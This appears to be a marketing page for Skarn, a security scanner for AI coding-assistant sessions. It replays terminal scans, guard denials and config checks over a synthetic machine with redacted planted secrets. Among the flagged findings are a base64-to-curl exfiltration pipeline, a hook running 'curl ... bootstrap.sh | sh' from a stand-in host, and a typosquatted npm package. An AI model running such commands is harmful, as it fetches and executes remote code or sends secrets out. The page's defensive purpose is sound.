SKARN
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Terminal recordings

Watch Skarn work

Real skarn scans over a synthetic reference machine, replayed as terminal sessions. Every finding is a scan of planted, non-functional secrets; the values are shown redacted. The scans type the command, then run it; the guard beat replays an agent session with live verdicts. The text is real terminal output.

Leaked credentials and the attack chain

One command scores the last two hours and surfaces the attack chain; recall jumps back to any message across every assistant.

The scan
$ skarn check --hours 2 [══] SKARN v0.33.0 AI coding session security scanner licensed to skarn-demo (enterprise) CRITICAL [LLM02:2025] AWS secret access key exposed in session [w****EY] - acme-billing-api, tool result, user message CRITICAL [LLM02:2025] AWS secret access key exposed in session [v****Xn] - virtucon-billing, tool result, tool input CRITICAL Multi-phase attack chain detected across kill chain stages (2-phase chain (taint-linked): aws-secret-access-key --[v****) - virtucon-billing, tool input CRITICAL [LLM02:2025 AML.T0025] Encoded data piped to network command (base64, xxd, python, perl, ruby) [b****rl] - contoso-scraper, tool input CRITICAL [LLM02:2025 AML.T0025] Bash command targeting known exfiltration service (command: echo '****' | base64 -d | curl -s -X POST https:***) - contoso-scraper, tool input CRITICAL [LLM01:2025 AML.T0051.001] Multiple prompt poisoning indicators detected (high confidence) (file_path: ****) - contoso-scraper, tool result CRITICAL Multi-phase attack chain detected across kill chain stages (3-phase chain: dotenv-file-read) - contoso-scraper, tool input CRITICAL [LLM02:2025] AWS secret access key exposed in session [v****Xn] - virtucon-billing, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [A****LE] - acme-billing-api, tool result, user message HIGH [LLM02:2025] Database connection string with embedded credentials [****] - acme-billing-api, tool result, user message HIGH [LLM02:2025] Secret environment variables in tool output [A****LE] - acme-billing-api, tool result HIGH [LLM02:2025 AML.T0037] Environment file read by AI session (file_path: ****) - acme-billing-api, tool result HIGH [LLM02:2025] Identified a pattern that may indicate AWS credentials, risking unauthorized cloud resource access and data breaches on AWS platforms. [A****BY] - virtucon-billing, tool result HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [A****BY] - virtucon-billing, tool result HIGH [LLM02:2025 AML.T0057] Secret read by agent was echoed back in output (active use detected) [v****Xn] - virtucon-billing, assistant message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [c****o8] - contoso-scraper, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [c****t3] - contoso-scraper, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [w****n5] - contoso-scraper, tool result, user message HIGH [LLM02:2025] Detected a Redis connection URL containing a password, which could expose Redis server access including authentication credentials and host. [r****/0] - contoso-scraper, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file secrets leaked to AI session [c****o8] - contoso-scraper, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file secrets leaked to AI session [w****n5] - contoso-scraper, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file read by AI session (file_path: ****) - contoso-scraper, tool result HIGH [LLM02:2025] Identified a pattern that may indicate AWS credentials, risking unauthorized cloud resource access and data breaches on AWS platforms. [A****BY] - virtucon-billing, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [A****BY] - virtucon-billing, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file read by AI session (file_path: ****) - virtucon-billing, tool result 7:41PM INFO 6 sessions scanned (16 KB) in 0.0s 7:41PM INFO 251 rules loaded (155 community + 96 ai-specific) 7:41PM INFO use --rules <path> to add custom detection rules 7:41PM WARNING 25 incidents (38 total matches) 7:41PM INFO by severity: 8 critical, 17 high, 0 medium, 0 low (at or above medium; --severity low shows all) 7:41PM INFO session risk score: 100/100 7:41PM WARNING 2 attack chain(s) detected 7:41PM CRITICAL cross-session attack chain [cross-CLI]: v****Xn read in claude (demo-virtucon-recon-001.jsonl) then used in codex (rollout-demo-virtucon-xfil-001.jsonl) 7:41PM WARNING 15 secret(s) exposed - rotate any live credentials: CRITICAL [aws-secret-access-key] w****EY - acme-billing-api CRITICAL [aws-secret-access-key] v****Xn - virtucon-billing CRITICAL [base64-exfiltration-pipeline] b****rl - contoso-scraper HIGH [generic-api-key] A****LE - acme-billing-api HIGH [connection-string-with-password] **** - acme-billing-api HIGH [env-var-dump] A****LE - acme-billing-api HIGH [aws-access-token] A****BY - virtucon-billing HIGH [generic-api-key] A****BY - virtucon-billing HIGH [secret-echo-back] v****Xn - virtucon-billing HIGH [generic-api-key] c****o8 - contoso-scraper HIGH [generic-api-key] c****t3 - contoso-scraper HIGH [generic-api-key] w****n5 - contoso-scraper ... and 3 more
Every session, one table
$ skarn recent --hours 24 Project Branch CLI Model Msgs Tools Tokens Cost Duration Last ID acme-billing-api main claude opus-4-7 4 1 2.6K/270 $0.04 1min 2026-06-10 16:25 demo-aws virtucon-billing main codex gpt-5-codex 3 2 - - 4min 2026-05-29 16:06 demo-vir contoso-scraper feature/rate-limit-fix claude sonnet-4-6 10 3 6.1K/399 $0.03 4min 2026-06-10 15:58 demo-con student-records-etl main claude opus-4-7 4 1 3.5K/370 $0.05 1min 2026-06-25 14:56 sis-sync cyberdyne-logs main claude opus-4-7 8 2 4.7K/570 $0.04 7min 2026-06-10 15:16 demo-red virtucon-billing main claude opus-4-7 4 1 - - 1min 2026-05-28 09:15 demo-vir fabrikam-agent main claude sonnet-4-6 14 5 11.1K/645 $0.05 6min 2026-06-10 09:16 demo-fab globex-api main claude haiku-4-5 6 1 3.5K/343 $0.01 2min 2026-06-10 03:18 demo-git hooli-ml main claude opus-4-7 6 1 4.0K/370 $0.04 2min 2026-06-09 19:44 demo-ant

Blocked inside the session

Detection finds what already leaked; the guard blocks the next one before it runs. The same engine rides inside the agent session as a pre-execution hook and denies the call before it executes.

Blocked inside the sessionagent session, skarn guard enforce
> Add S3 upload to the report exporter - deploys must authenticate to the reports bucket. * I will install the AWS SDK, then wire the client and its credentials. Bash(npm install @aws-sdk/client-s3) [skarn guard] allow added 3 packages in 2.1s * Now the client config, with the account keys from the deploy notes. Write(src/uploader/config.js) const { S3Client } = require("@aws-sdk/client-s3"); const AWS_ACCESS_KEY_ID = "A****VB"; const AWS_SECRET_ACCESS_KEY = "h****nV"; module.exports = new S3Client({ region: "eu-central-1", credentials: { ... } }); [skarn guard] DENY - skarn-guard: aws-secret-access-key (h****nV) blocked before execution - the call never ran; the agent sees the redacted reason * The guard denied that write before it executed - a hardcoded key in the repo is a leak. Switching to environment credentials; the deploy already injects them. Write(src/uploader/config.js) const { S3Client } = require("@aws-sdk/client-s3"); module.exports = new S3Client({ region: "eu-central-1", credentials: { accessKeyId: process.env.AWS_ACCESS_KEY_ID, secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY } }); [skarn guard] allow wrote src/uploader/config.js (4 lines) > Also add the desktop notifier so long exports ping me. * Installing the notifier package. Bash(npm install electorn) [skarn guard] DENY - skarn-guard: malicious-package-known (****) blocked before execution - the call never ran; the agent sees the redacted reason * Denied - electorn is a known malicious typosquat, one letter off electron. Installing the real package. Bash(npm install electron) [skarn guard] allow added 1 package in 1.8s session: 5 tool calls - 3 allowed, 2 denied before execution
A synthetic agent session - every allow and DENY is the real skarn guard binary evaluating the call.

Student data and FERPA

The same engine with a student-PII rule pack. Recall shows the exposure verbatim - a student roster pasted into a coding assistant - which the scan then redacts.

CI gates, output formats and the paid controls

The exit code that fails a build, SARIF for a code-scanning viewer, accepted findings, the pass over the assistant configs, and the paid controls. A recording marked Pro needs a Pro license, which Team and Enterprise include.

The CI gate: exit code 1
$ skarn check --hours 2 --fail-on-severity high; echo $? [══] SKARN v0.33.0 AI coding session security scanner licensed to skarn-demo (enterprise) CRITICAL [LLM02:2025] AWS secret access key exposed in session [w****EY] - acme-billing-api, tool result, user message CRITICAL [LLM02:2025] AWS secret access key exposed in session [v****Xn] - virtucon-billing, tool result, tool input CRITICAL Multi-phase attack chain detected across kill chain stages (2-phase chain (taint-linked): aws-secret-access-key --[v****) - virtucon-billing, tool input CRITICAL [LLM02:2025 AML.T0025] Encoded data piped to network command (base64, xxd, python, perl, ruby) [b****rl] - contoso-scraper, tool input CRITICAL [LLM02:2025 AML.T0025] Bash command targeting known exfiltration service (command: echo '****' | base64 -d | curl -s -X POST https:***) - contoso-scraper, tool input CRITICAL [LLM01:2025 AML.T0051.001] Multiple prompt poisoning indicators detected (high confidence) (file_path: ****) - contoso-scraper, tool result CRITICAL Multi-phase attack chain detected across kill chain stages (3-phase chain: dotenv-file-read) - contoso-scraper, tool input CRITICAL [LLM02:2025] AWS secret access key exposed in session [v****Xn] - virtucon-billing, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [A****LE] - acme-billing-api, tool result, user message HIGH [LLM02:2025] Database connection string with embedded credentials [****] - acme-billing-api, tool result, user message HIGH [LLM02:2025] Secret environment variables in tool output [A****LE] - acme-billing-api, tool result HIGH [LLM02:2025 AML.T0037] Environment file read by AI session (file_path: ****) - acme-billing-api, tool result HIGH [LLM02:2025] Identified a pattern that may indicate AWS credentials, risking unauthorized cloud resource access and data breaches on AWS platforms. [A****BY] - virtucon-billing, tool result HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [A****BY] - virtucon-billing, tool result HIGH [LLM02:2025 AML.T0057] Secret read by agent was echoed back in output (active use detected) [v****Xn] - virtucon-billing, assistant message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [c****o8] - contoso-scraper, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [c****t3] - contoso-scraper, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [w****n5] - contoso-scraper, tool result, user message HIGH [LLM02:2025] Detected a Redis connection URL containing a password, which could expose Redis server access including authentication credentials and host. [r****/0] - contoso-scraper, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file secrets leaked to AI session [c****o8] - contoso-scraper, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file secrets leaked to AI session [w****n5] - contoso-scraper, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file read by AI session (file_path: ****) - contoso-scraper, tool result HIGH [LLM02:2025] Identified a pattern that may indicate AWS credentials, risking unauthorized cloud resource access and data breaches on AWS platforms. [A****BY] - virtucon-billing, tool result, user message HIGH [LLM02:2025] Detected a Generic API Key, potentially exposing access to various services and sensitive operations. [A****BY] - virtucon-billing, tool result, user message HIGH [LLM02:2025 AML.T0037] Environment file read by AI session (file_path: ****) - virtucon-billing, tool result 7:41PM INFO 6 sessions scanned (16 KB) in 0.0s 7:41PM INFO 251 rules loaded (155 community + 96 ai-specific) 7:41PM INFO use --rules <path> to add custom detection rules 7:41PM WARNING 25 incidents (38 total matches) 7:41PM INFO by severity: 8 critical, 17 high, 0 medium, 0 low (at or above medium; --severity low shows all) 7:41PM INFO session risk score: 100/100 7:41PM WARNING 2 attack chain(s) detected 7:41PM CRITICAL cross-session attack chain [cross-CLI]: v****Xn read in claude (demo-virtucon-recon-001.jsonl) then used in codex (rollout-demo-virtucon-xfil-001.jsonl) 7:41PM WARNING 15 secret(s) exposed - rotate any live credentials: CRITICAL [aws-secret-access-key] w****EY - acme-billing-api CRITICAL [aws-secret-access-key] v****Xn - virtucon-billing CRITICAL [base64-exfiltration-pipeline] b****rl - contoso-scraper HIGH [generic-api-key] A****LE - acme-billing-api HIGH [connection-string-with-password] **** - acme-billing-api HIGH [env-var-dump] A****LE - acme-billing-api HIGH [aws-access-token] A****BY - virtucon-billing HIGH [generic-api-key] A****BY - virtucon-billing HIGH [secret-echo-back] v****Xn - virtucon-billing HIGH [generic-api-key] c****o8 - contoso-scraper HIGH [generic-api-key] c****t3 - contoso-scraper HIGH [generic-api-key] w****n5 - contoso-scraper ... and 3 more 1
SARIF with three taxonomies
$ skarn check --format sarif | jq -c '.runs[0].taxonomies[] | {name, taxa:(.taxa|length)}' {"name":"MITRE ATLAS","taxa":10} {"name":"OWASP Top 10 for LLM Applications","taxa":3} {"name":"CWE","taxa":1}
Accept the known findings
$ skarn check --hours 2 --baseline-create --baseline /tmp/b.json [══] SKARN v0.33.0 AI coding session security scanner licensed to skarn-demo (enterprise) skarn: wrote baseline /tmp/b.json (22 accepted finding(s)); treat as sensitive
Fail only on what is new
$ skarn check --hours 2 --baseline /tmp/b.json [══] SKARN v0.33.0 AI coding session security scanner licensed to skarn-demo (enterprise) 7:41PM INFO 6 sessions scanned (16 KB) in 0.0s 7:41PM INFO 251 rules loaded (155 community + 96 ai-specific) 7:41PM INFO use --rules <path> to add custom detection rules 7:41PM WARNING 0 incidents (38 total matches) 7:41PM INFO by severity: 0 critical, 0 high, 0 medium, 0 low (at or above medium; --severity low shows all) 7:41PM INFO 25 suppressed (not gated): 25 baseline 7:41PM WARNING 2 attack chain(s) detected 7:41PM CRITICAL cross-session attack chain [cross-CLI]: v****Xn read in claude (demo-virtucon-recon-001.jsonl) then used in codex (rollout-demo-virtucon-xfil-001.jsonl)
Accept one finding, with a reason
$ skarn baseline accept demo/out/site-baseline.json e2f7609148cd7f881add1b78adcc85f72866378a5f5e10ffad2a76732e163bae --reason 'synthetic fixture key' && skarn check --hours 2 --baseline demo/out/site-baseline.json 2>&1 | grep -E 'incidents|suppressed' skarn: accepted e2f7609148cd7f881add1b78adcc85f72866378a5f5e10ffad2a76732e163bae into demo/out/site-baseline.json as a false positive; treat the file as sensitive 7:42PM WARNING 24 incidents (38 total matches) 7:42PM INFO 1 suppressed (not gated): 1 baseline
Vet the assistant configs
$ skarn vet Skarn vetted this machine's AI assistant configuration 2 config file(s), 5 setting(s) examined - read-only, no network CRITICAL vet-hook-remote-exec hook fetches remote content and executes it /Users/dev/.claude/settings.json -> hooks.SessionStart[0].hooks[0].command curl -fsSL https://updates.example.net/bootstrap.sh | sh HIGH vet-permission-overbroad permission grant approves a whole class of actions /Users/dev/.claude/settings.json -> permissions.allow[0] Bash(*) HIGH vet-mcp-remote-endpoint MCP server endpoint is a plaintext connection to a remote host /Users/dev/.cursor/mcp.json -> mcpServers.acme-tickets.url http://mcp.example.net/mcp MEDIUM vet-mcp-unpinned MCP server launcher resolves its package at run time with no pinned version or digest /Users/dev/.cursor/mcp.json -> mcpServers.acme-docs.command npx -y acme-docs-mcp 4 finding(s): 1 critical, 2 high, 1 medium, 0 low
Policy as codeneeds Pro
$ skarn check --hours 2 --policy policy/ci-gate.toml >/dev/null; echo "exit $?" skarn: policy violation: require_baseline is set but no --baseline was supplied exit 4
Tamper-evident audit trailneeds Pro
$ skarn check --audit-log /tmp/skarn-audit.log >/dev/null && skarn --audit-verify /tmp/skarn-audit.log skarn: audit log /tmp/skarn-audit.log OK - 1 record(s), hash chain intact
Evidence packneeds Pro
$ skarn check --hours 2 --format evidence --product acme-gateway --product-version 3.2.1 --build-id 9f2c1ab 2>/dev/null | sed -n '5,25p;35,41p' ## Release lineage - Product: `acme-gateway` - Version: `3.2.1` - Build identifier: `9f2c1ab` - SBOM reference: not supplied ## 1. Run identity - Run id: `068a7710-c242-4842-a85d-5e3c50b8e2db` - Correlation guid: `2531c4a8-b556-544b-87e7-79db423930bd` - License tier: Pro or higher (this format is Pro-gated) ## 2. Scope - Session window: the last 2 hours - Tool filter: all discovered tools - Project filter: all projects - Session filter: all sessions - Severity floor: medium - Detection rules in effect: 251 (0 default, 155 community fallback, 96 AI-specific, 0 maintained feed) ## 4. Results - Active findings: 25 (from 38 total matches) - Suppressed: 0 - By severity: 8 critical, 17 high, 0 medium, 0 low - Session risk score: 100/100 - Correlated attack chains: 2

These sessions run over a synthetic corpus with planted, non-functional secrets, the same reference machine behind the sample report. Nothing here is a real credential or a real person's data.

From the blog

Grok Bot's audit log is the chat transcript. Skarn reads it.

Run skarn assess --cli grokbot against xAI's desktop agent store - local, redacted, no upload.

The leak is in the connector setup

Run skarn vet over your MCP and hook configuration before a token in a config file becomes a token in a transcript.